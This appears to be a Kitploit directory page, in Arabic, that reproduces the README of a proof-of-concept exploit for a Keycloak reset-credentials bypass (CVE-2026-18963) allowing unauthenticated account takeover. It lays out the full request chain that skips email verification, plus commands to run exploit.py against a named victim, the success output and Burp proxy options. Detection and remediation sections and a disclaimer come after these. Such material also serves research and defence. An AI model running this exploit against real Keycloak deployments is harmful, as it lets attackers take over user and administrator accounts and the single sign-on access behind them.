Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-18963-keycloak — استغلال لإثبات المفهوم لثغرة CVE-2026-18963، وهي ثغرة حرجة في تجاوز إعادة تعيين بيانات الاعتماد في Keycloak تتيح الاستيلاء على الحسابات دون مصادقة. يتضمن إعداد المختبر وإرشادات الكشف وخطوات المعالجة للاختبار المصرح به. | Kitploit
أدوات/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبالمصادقةالتعلم والتعليم
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

استغلال لإثبات المفهوم لثغرة CVE-2026-18963، وهي ثغرة حرجة في تجاوز إعادة تعيين بيانات الاعتماد في Keycloak تتيح الاستيلاء على الحسابات دون مصادقة. يتضمن إعداد المختبر وإرشادات الكشف وخطوات المعالجة للاختبار المصرح به.

عرض المستودع
3منذ 18س 24دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-18963 — تجاوز إعادة تعيين بيانات الاعتماد (Reset-Credentials) في Keycloak ← الاستيلاء على الحساب

استيلاء غير مُصادَق عليه على الحساب في مسار إعادة تعيين بيانات الاعتماد في Keycloak. يمكن لمهاجم لا يعرف سوى اسم مستخدم/بريد إلكتروني إعادة تعيين كلمة مرور أي مستخدم — بما في ذلك المسؤولين (admins) — دون أن يستلم بريد التحقق إطلاقًا.

CVE CVSS CWE License


⚠️ إخلاء مسؤولية — للاستخدام الأخلاقي فقط

يُنشر هذا الإثبات المفاهيمي حصريًا للأغراض التعليمية والبحث الدفاعي وهندسة الكشف واختبار الأمان المصرح به.

  • استخدمه فقط ضد الأنظمة التي تملكها أو التي لديك لاختبارها. الوصول إلى الأنظمة أو تعديلها دون إذن هو أمر وغير أخلاقي.
تفويض كتابي صريح
غير قانوني
  • هذا مورد دفاعي/تعليمي يهدف إلى مساعدة الفرق على فهم واكتشاف ومعالجة CVE-2026-18963 — وليس مهاجمة أطراف ثالثة.
  • لا يتحمل المؤلف (red-darkin) أي مسؤولية أو تبعة عن أي إساءة استخدام أو ضرر أو نشاط غير قانوني يُرتكب باستخدام هذا الكود. أنت وحدك المسؤول عن طريقة استخدامك له وعن الامتثال لجميع القوانين المعمول بها.
  • بتحميلك لهذا المستودع أو استخدامك له فأنت تقبل هذه الشروط. إذا كنت لا توافق، فلا تستخدمه.
  • انظر DISCLAIMER.md للاطلاع على البيان الكامل.


    ملخص

    CVECVE-2026-18963
    الخطورةحرجة — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
    الضعفCWE-640 — آلية استرداد كلمة مرور ضعيفة
    المتأثرKeycloak < 26.7.2 (upstream). وكذلك خطوط بناء Red Hat المُصحَّحة عبر حِزم 26.6.6 / 26.4.15
    الإصلاحKeycloak 26.7.2 (PR #51844)
    الشروط المسبقةتفعيل "نسيت كلمة المرور" (إعادة تعيين بيانات الاعتماد) في العالم (realm) — وهذا هو الوضع الافتراضي
    الأثراستيلاء كامل على حساب أي مستخدم (بما في ذلك مسؤولو العالم (realm)) ← اختراق موفّر الهوية (IdP) + وصول SSO جانبي

    كيف يعمل — ثغرتان مُترابطتان

    عادةً ما يُجبرك مسار إعادة تعيين كلمة المرور (reset-credentials) على النقر فوق رابط يُرسَل بالبريد إلى مالك الحساب قبل أن تتمكن من تعيين كلمة مرور جديدة. ثغرتان تتيحان للمهاجم تجاوز هذا الفحص تمامًا:

    1. حالة "جرّب طريقة أخرى" غير مُقيَّدة النطاق — يخزّن معالج منتقي المُصادِق (authenticator-selector handler) الملاحظة AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" دون تقييد نطاقها بمعرّف التنفيذ (execution ID). تؤدي إعادة الدخول إلى المسار إلى ترك جلسة المصادقة في حالة مشوّشة/قديمة.
    2. غياب فحص الرمز المميّز في خطوة البريد الإلكتروني — يستدعي ResetCredentialEmail.action() الدالةَ context.success() دون التحقق من ACTION_TOKEN_USER_ID (أي دون التأكد من أن رمز الإجراء المُرسَل بالبريد قد استُهلك فعلًا).

    يؤدي الربط بينهما إلى دفع جلسة المصادقة مباشرة إلى خطوة UPDATE_PASSWORD لمستخدم عشوائي، دون الحاجة إلى أي بريد إلكتروني.

    root@kitploit:~
    GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
    GET  /login-actions/reset-credentials …              ── choose-user form
    POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
    POST …reset-credentials      username=<victim>       ── select user via selector
    GET  …/restart …                                     ── refresh session state
    GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
    POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
    POST /login-actions/required-action?execution=UPDATE_PASSWORD
            password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER
    

    انظر docs/ROOTCAUSE.md للاطلاع على فرق التصحيح المُعلَّق.


    بدء سريع (بيئة مخبرية)

    ستحتاج إلى Docker وPython 3 مع مكتبة requests.

    root@kitploit:~
    # 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
    ./run_lab.sh                 # uses keycloak/keycloak:26.5.0
    
    # 2) Run the exploit against the demo 'victim' user
    pip install requests
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    

    الجزء المتوقع في نهاية المخرجات:

    root@kitploit:~
    [7] *** update-password form served WITHOUT token ***
    [8] set-password -> HTTP 302
    [+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
    

    ثم سجّل الدخول باسم victim / Pwned-2026! لتأكيد الاستيلاء على الحساب.

    مجموعة التحكُّم السلبية (النسخة المُصحَّحة)

    root@kitploit:~
    KC_TAG=26.7.2 ./run_lab.sh
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    # stops early — the update-password form is never served
    

    الاستخدام

    root@kitploit:~
    python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
    
      --base       Keycloak base URL, e.g. http://127.0.0.1:8080
      --realm      target realm (default: master)
      --client     public client without PKCE (default: account)
      --victim     victim username or email
      --new-pass   password to set
      --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
      -k           skip TLS verification
    

    تُكتب كل استجابة HTTP إلى ./dump/ للفحص.


    التوجيه عبر Burp

    يستخدم Keycloak المنفذ 8080 بالفعل، لذا وجّه مستمع Burp إلى منفذ آخر (مثل 8081):

    root@kitploit:~
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!' \
        --proxy http://127.0.0.1:8081
    

    سلسلة الطلبات الخام لـ Burp Repeater موجودة في requests/burp-chain.txt.


    الاكتشاف

    ابحث عن تغيير كلمة مرور لم يسبقه تحقق عبر البريد الإلكتروني في نفس جلسة المصادقة:

    • حدث UPDATE_PASSWORD بدون VERIFY_EMAIL / EXECUTE_ACTION_TOKEN سابق لتلك الجلسة.
    • دفعات من طلبات reset-credentials تحمل tryAnotherWay=on.
    • إعادة دخول متعددة إلى login-actions/reset-credentials لنفس tab_id.

    المعالجة

    • الترقية إلى Keycloak 26.7.2 (أو خط بناء Red Hat المُصحَّح) — أولوية قصوى.
    • تخفيف مؤقت: إعدادات العالم (realm) → تسجيل الدخول → نسيان كلمة المرور = إيقاف (Off).
    • بعد التصحيح: دوّر بيانات اعتماد المسؤولين، وفرض إعادة تسجيل الدخول بعد عمليات إعادة التعيين، والتنبيه على إشارات الاكتشاف المذكورة أعلاه.

    المراجع

    • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
    • الإصلاح PR #51844 — https://github.com/keycloak/keycloak/pull/51844
    • القضية #51833 — https://github.com/keycloak/keycloak/issues/51833
    • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

    عرض توضيحي

    تسجيل كامل للتشغيل موجود في CVE-2026-18963.mp4 (في جذر المستودع).

    الإشادات

    • red-darkin — إعادة الإنتاج المخبرية، والإثبات المفاهيمي (PoC)، والتوثيق.
    • Claude (Anthropic) — المساعدة في البحث وتطوير الإثبات المفاهيمي (PoC).

    تم التحقق من السلسلة مقابل التصحيح العام لـ Keycloak (PR #51844) والكتابات المجتمعية.

    الترخيص

    MIT © red-darkin — للاستخدام التعليمي والاختبار المصرح به فقط.

    تنزيل الأداة